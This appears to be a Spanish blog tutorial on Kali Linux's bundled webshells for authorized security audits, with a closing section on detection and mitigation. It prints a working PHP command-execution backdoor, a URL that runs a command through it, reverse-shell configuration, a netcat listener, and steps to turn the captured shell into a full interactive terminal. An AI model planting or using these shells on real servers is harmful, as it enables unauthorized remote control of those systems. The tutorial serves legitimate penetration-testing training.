webshells para auditorías de seguridad

 

https://www.onlinetis.com

webshells para auditorías de seguridad

Kali Linux incluye una colección completa de webshells preinstaladas para pruebas de penetración y auditorías de seguridad autorizadas. Se encuentran ubicadas en el directorio del sistema /usr/share/webshells/.

1. Ubicación y Estructura en Kali Linux

Para listar las webshells disponibles, abre una terminal y ejecuta:

Bash
ls -la /usr/share/webshells/

Las webshells están organizadas por lenguaje y tecnología en subdirectorios específicos:

  • /usr/share/webshells/php/: Webshells y reverse shells para entornos PHP (Apache, Nginx). Incluye scripts populares como php-reverse-shell.php (de PentestMonkey) y simple-backdoor.php.

  • /usr/share/webshells/asp/ y /aspx/: Scripts para servidores web IIS en entornos Windows.

  • /usr/share/webshells/jsp/: Webshells para servidores de aplicaciones Java (Tomcat, GlassFish, WildFly).

  • /usr/share/webshells/perl/: Scripts en Perl para servidores CGIs tradicionales.

  • /usr/share/webshells/cfm/: Scripts para servidores Adobe ColdFusion.

2. ¿Cómo Funciona una Webshell Basada en Web?

Una webshell es un script subido a un servidor web objetivo aprovechando una vulnerabilidad de carga de archivos (File Upload Vulnerability) o inclusión de archivos (LFI/RFI). Una vez alojada, la webshell ejecuta comandos del sistema operativo a través del intérprete del servidor web.

Ejemplo conceptual (PHP minimalista)

Un ejemplo básico de webshell interactiva en PHP (simple-backdoor.php) utiliza funciones nativas para recibir parámetros por HTTP:

PHP
<?php
if(isset($_REQUEST['cmd'])){
    $cmd = ($_REQUEST['cmd']);
    echo "<pre>";
    system($cmd);
    echo "</pre>";
    die;
}
?>

Si este archivo se aloja en el servidor, el auditor puede ejecutar comandos directamente desde la URL o mediante peticiones GET/POST:

Plaintext
http://servidor-objetivo.com/uploads/shell.php?cmd=whoami

3. Transferencia y Adaptación

En una auditoría, antes de subir una webshell (por ejemplo, una reverse shell de PHP), suele ser necesario editar la dirección IP y el puerto de escucha dentro del script:

  1. Copiar el script a tu directorio de trabajo:

    Bash
    cp /usr/share/webshells/php/php-reverse-shell.php ./mi-shell.php
    
  2. Editar las variables de red:

    Abre el archivo con nano o vim y modifica las líneas $ip y $port con la dirección IP de tu máquina atacante (o VPN de prueba) y el puerto donde escucharás con Netcat:

    PHP
    $ip = '10.10.14.X';  // Tu IP de prueba
    $port = 4444;        // Puerto de escucha
    
  3. Poner el listener a la escucha:

    Bash
    nc -lvnp 4444
    

4. Detección y Mitigación (Perspectiva Defensiva)

En la administración de sistemas y respuesta ante incidentes, prevenir la ejecución de webshells implica varias capas de seguridad:

  • Deshabilitar funciones peligrosas en PHP: En php.ini, restringe el uso de funciones de ejecución de comandos:

    Ini, TOML
    disable_functions = exec, passthru, shell_exec, system, proc_open, popen, curl_exec, curl_multi_exec, parse_ini_file, show_source
    
  • Validación de archivos subidos: Validar la extensión, el tipo MIME y el contenido real del archivo (magic bytes), renombrando los archivos subidos a nombres aleatorios sin extensión ejecutable.

  • Permisos del sistema de archivos: Asegurarse de que el usuario del servidor web (www-data, nginx, etc.) no tenga permisos de escritura en directorios donde se puedan ejecutar scripts.

  • Escanear con reglas YARA / Antivirus: Utilizar herramientas de detección como LMD (Linux Malware Detect) o reglas YARA específicas para webshells conocidas.


Para capturar una conexión entrante (reverse shell) y convertir esa sesión básica en una terminal interactiva completa (con soporte para Ctrl+C, autocompletado con Tab y redimensionamiento de ventana), se sigue un proceso de dos fases.

Fase 1: Configurar el Listener de Netcat

Primero, inicia el escuchador en tu máquina atacante/auditora antes de ejecutar o desencadenar el script en el objetivo.

1.Iniciar Netcat en la máquina local:Paso previo.

Abre una terminal en Kali Linux y ejecuta el siguiente comando para escuchar en el puerto elegido (por ejemplo, 4444):

Bash
nc -lvnp 4444
  • -l: Modo de escucha (listen).

  • -v: Verboso (verbose), para ver cuándo se recibe la conexión.

  • -n: Omite la resolución DNS (acelera la respuesta).

  • -p 4444: Especifica el puerto de escucha.

2.Recibir la conexión entrante:Trigger del objetivo.

Ejecuta el payload o desencadena la webshell/reverse shell en la máquina objetivo. En tu terminal verás la confirmación de la conexión:

Plaintext
connect to [10.10.14.X] from (UNKNOWN) [10.10.10.Y] 45678

En este punto ya tienes control sobre el objetivo, pero la terminal es una shell "dumb" (muda): no soporta borrado correcto, no tiene autocompletado y un Ctrl+C matará la conexión.

Fase 2: Estabilización de la Terminal TTY

Sigue estos pasos en orden estricto dentro de la sesión recibida para obtener un entorno TTY funcional:

1.Invocar un pseudoterminal con Python:En la shell del objetivo.

Aprovecha el intérprete de Python en el objetivo (Python 3 o Python 2) para generar un pseudoterminal (pty):

Bash
python3 -c 'import pty; pty.spawn("/bin/bash")'

(Si la máquina solo tiene Python 2, usa python -c ...).

2.Mandar la shell a segundo plano:Teclas físicas.

Presiona la combinación de teclas en tu teclado:

Ctrl + Z

Esto pausará el proceso de Netcat y te devolverá temporalmente a la terminal de tu máquina local (Kali).

3.Ajustar la terminal local (raw mode):En tu máquina local (Kali).

Dile a tu terminal local que pase las señales de teclado directamente a la shell remota y deshabilite el eco local:

Bash
stty raw -echo; fg

Al presionar Enter, se reanudará el proceso nc en primer plano (foreground). La pantalla puede parecer distorsionada o no mostrar lo que escribes por un segundo; es normal.

4.Restablecer las variables del entorno remoto:En la shell del objetivo.

Escribe los siguientes comandos (presiona Enter tras cada uno) para configurar el tipo de terminal y la representación visual:

Bash
reset
export TERM=xterm-256color
export SHELL=bash
5.Sincronizar filas y columnas (Opcional pero recomendado):Para usar nano, vi o scripts de pantalla completa.

Abre otra ventana de terminal en tu máquina local y revisa el tamaño actual de tu pantalla ejecutando:

Bash
stty size

(Ejemplo de salida: 44 142 -> 44 filas, 142 columnas).

Regresa a la shell estabilizada del objetivo y ajusta las dimensiones para que coincidan:

Bash
stty rows 44 cols 142

Nota: Al finalizar estos pasos, tendrás una terminal completamente interactiva donde podrás ejecutar herramientas como htop, editores como nano o vim, y presionar Ctrl+C para cancelar procesos individuales sin cerrar la conexión de la reverse shell.

https://www.onlinetis.com

Entradas populares de este blog

Hacking y ciberseguridad en kali linux con Fping

Hacking y ciberseguridad en kali linux con atk6-thcping6

Como utilizar Fierce en kali linux